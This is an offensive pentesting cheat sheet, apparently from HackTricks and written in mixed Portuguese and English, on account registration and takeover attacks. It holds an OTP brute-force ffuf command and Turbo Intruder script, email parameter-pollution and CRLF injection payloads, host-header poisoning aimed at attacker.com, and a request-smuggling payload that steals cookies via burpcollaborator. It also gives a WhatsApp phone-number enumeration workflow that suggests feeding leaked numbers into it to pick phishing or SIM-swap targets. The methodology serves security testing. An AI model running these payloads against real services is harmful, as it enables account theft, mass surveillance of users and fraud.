Registration & Takeover Vulnerabilities
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Registration Takeover
Duplicate Registration
- Tente gerar usando um username existente
- Verifique variando o email:
- uppercase
- +1@
- adicionar alguns dots no email
- caracteres especiais no local-part do email (%00, %09, %20)
- Coloque caracteres em branco após o email:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Tente truques de canonicalization do provedor de email (depende do serviço):
- Gmail ignora dots e subaddressing:
victim+1@gmail.com,v.ic.tim@gmail.comentregam paravictim@gmail.com - Alguns provedores são case-insensitive no local-part
- Alguns provedores aceitam unicode confusables. Tente homoglyphs e soft hyphen
\u00ADdentro do local-part - Abuse isso para: bypassar checagens de unicidade, obter contas/workspace invites duplicados, ou bloquear sign‑ups da vítima (DoS temporário) enquanto prepara uma takeover
Username Enumeration
Verifique se você consegue identificar quando um username já foi registrado dentro da aplicação.
- Mensagens de erro ou códigos HTTP diferentes
- Diferenças de timing (usuário existente pode disparar lookup em IdP/DB)
- Autofill do formulário de registro com dados de perfil para emails conhecidos
- Verifique fluxos de team/invite: inserir um email pode revelar se existe uma conta
Password Policy
Ao criar um usuário, cheque a password policy (verifique se é possível usar senhas fracas).
Nesse caso você pode tentar bruteforce nas credenciais.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se é possível mudá-lo para emails arbitrários.
More Checks
- Verifique se você pode usar disposable emails (mailinator, yopmail, 1secmail, etc.) ou bypassar a blocklist com subaddressing como
victim+mailinator@gmail.com - Long password (>200) pode levar a DoS
- Cheque rate limits na criação de contas
- Use username@burp_collab.net e analise o callback
- Se verificação por número de telefone for usada, cheque edge cases de parsing/injection de telefone
Contact-discovery / identifier-enumeration oracles
Mensageiros centrados em número de telefone expõem um presence oracle sempre que o cliente sincroniza contatos. Replaying WhatsApp’s discovery requests historicamente entregou >100M lookups per hour, permitindo enumerações quase completas de contas.
Attack workflow
- Instrument an official client para capturar a request de upload do address-book (blob autenticado de números normalizados E.164). Reproduza-a com números gerados pelo atacante enquanto reutiliza os mesmos cookies/device token.
- Batch numbers per request: WhatsApp aceita milhares de identifiers e retorna registered/unregistered mais metadata (business, companion, etc.). Analise respostas offline para construir listas de alvo sem enviar mensagens às vítimas.
- Horizontally scale a enumeração com SIM banks, cloud devices, ou residential proxies para que throttling por conta/IP/ASN nunca seja acionado.
Dialing-plan modeling
Modele o plano de discagem de cada país para pular candidatos inválidos. O NDSS dataset (country-table.*) lista country codes, adoption density, e platform split para que você possa priorizar ranges com alta probabilidade. Example seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Turning enumerations into targeted attacks
- Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
- Slice censuses by país/OS/tipo de app to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering.
Public-key reuse correlation
WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and remova duplicatas das chaves públicas to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.
Weak Email/Phone Verification (OTP/Magic Link)
Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:
- Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
- OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
- Tokens not invalidated after success or after password/email change.
- Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Adivinhação paralela/concorrente para contornar bloqueios sequenciais (use Turbo Intruder no Burp):
Trecho do Turbo Intruder para inundar tentativas de OTP de 6‑dígitos
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Try racing verification: submeta o mesmo OTP válido simultaneamente em duas sessões; às vezes uma das sessões torna‑se uma verified attacker account enquanto o fluxo da vítima também tem sucesso.
- Também teste Host header poisoning em verification links (igual ao reset poisoning abaixo) para leak ou completar a verificação em attacker controlled host.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
Uma classe poderosa de problemas ocorre quando um atacante realiza ações no email da vítima antes que ela crie a conta, e depois recupera o acesso.
Técnicas‑chave para testar (adapte aos fluxos do alvo):
- Classic–Federated Merge
- Atacante: regista uma classic account com o email da vítima e define uma password
- Vítima: posteriormente regista‑se com SSO (mesmo email)
- Merges inseguros podem deixar ambas as partes logadas ou ressuscitar o acesso do atacante
- Unexpired Session Identifier
- Atacante: cria a conta e mantém uma sessão de longa duração (não encerre a sessão)
- Vítima: recupera/define a password e usa a conta
- Teste se sessões antigas permanecem válidas após reset ou ativação de MFA
- Trojan Identifier
- Atacante: adiciona um identificador secundário à conta pré‑criada (telefone, email adicional, ou vincula o IdP do atacante)
- Vítima: reseta a password; o atacante depois usa o trojan identifier para resetar/logar
- Unexpired Email Change
- Atacante: inicia alteração de email para o email do atacante e retém a confirmação
- Vítima: recupera a conta e começa a usá‑la
- Atacante: mais tarde completa a pending email‑change para roubar a conta
- Non‑Verifying IdP
- Atacante: usa um IdP que não verifica a propriedade do email para afirmar `victim@…`
- Vítima: regista‑se via classic route
- O serviço faz merge pelo email sem checar `email_verified` ou sem realizar verificação local
Dicas práticas
- Extraia fluxos e endpoints dos bundles web/mobile. Procure por classic signup, SSO linking, email/phone change e endpoints de password reset.
- Crie automação realista para manter sessões ativas enquanto testa outros fluxos.
- Para testes SSO, levante um OIDC provider de teste e emita tokens com claims `email` para o endereço da vítima e `email_verified=false` para verificar se o RP confia em IdPs não verificados.
- Após qualquer password reset ou alteração de email, verifique que:
- todas as outras sessões e tokens são invalidadas,
- alterações de email/telefone pendentes são canceladas,
- IdPs/emails/telefones previamente ligados são re‑verificados.
Nota: Metodologia extensa e estudos de caso destas técnicas estão documentados pela Microsoft’s pre‑hijacking research (veja Referências no fim).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Solicite um password reset para o seu endereço de email
2. Clique no password reset link
3. Não altere a password
4. Clique em qualquer website 3rd party (eg: Facebook, twitter)
5. Intercepte a requisição no proxy do Burp Suite
6. Verifique se o referer header está leakando o password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercepte a password reset request no Burp Suite
2. Adicione ou edite os seguintes headers no Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Reencaminhe a requisição com o header modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Procure por uma password reset URL baseada no _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em parâmetros da API
- O atacante precisa fazer login com sua conta e acessar a funcionalidade Alterar senha.
- Inicie o Burp Suite e intercepte a requisição
- Envie para a aba repeater e edite os parâmetros : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token fraco de redefinição de senha
O password reset token deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Carimbo de data/hora
- ID do usuário
- Email do usuário
- Primeiro nome e sobrenome
- Data de nascimento
- Criptografia
- Apenas números
- Pequena sequência de token ( caracteres entre [A-Z,a-z,0-9])
- Reutilização do token
- Data de expiração do token
Leaking Password Reset Token
- Dispare uma solicitação de reset de senha usando a API/UI para um email específico, ex: test@mail.com
- Inspecione a resposta do servidor e verifique por
resetToken - Então use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Redefinição de senha via colisão de nome de usuário
- Registre-se no sistema com um nome de usuário idêntico ao da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. e.g:
"admin " - Solicite uma redefinição de senha com seu nome de usuário malicioso.
- Use o token enviado para seu email e redefina a senha da vítima.
- Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a esse ataque.
See: CVE-2020-7245
Tomada de conta via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem com escopo para o domínio pai :
*.domain.com - Leak o atual sessions cookie
- Autentique-se como o usuário usando o cookie
Tomada de conta via HTTP Request Smuggling
- Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Crie uma requisição que sobrescreva o
POST / HTTP/1.1com os seguintes dados:GET http://something.burpcollaborator.net HTTP/1.1 X:com o objetivo de abrir um redirect das vítimas para burpcollab e roubar seus cookies\ - A requisição final pode ser parecida com a seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug\
Account Takeover via CSRF
- Crie um payload para o CSRF, e.g: “HTML form with auto submit for a password change”
- Envie o payload
Account Takeover via JWT
JSON Web Token pode ser usado para autenticar um usuário.
- Edite o JWT com outro User ID / Email
- Verifique se a assinatura do JWT é fraca
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Alguns signup handlers executam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e password e não exige verificação de propriedade, enviar o email da vítima irá sobrescrever a password dela pre-auth.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like “Only POST request is allowed.” often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}
Exemplo PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impacto: Full Account Takeover (ATO) sem nenhum reset token, OTP ou verificação de e-mail.
Referências
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


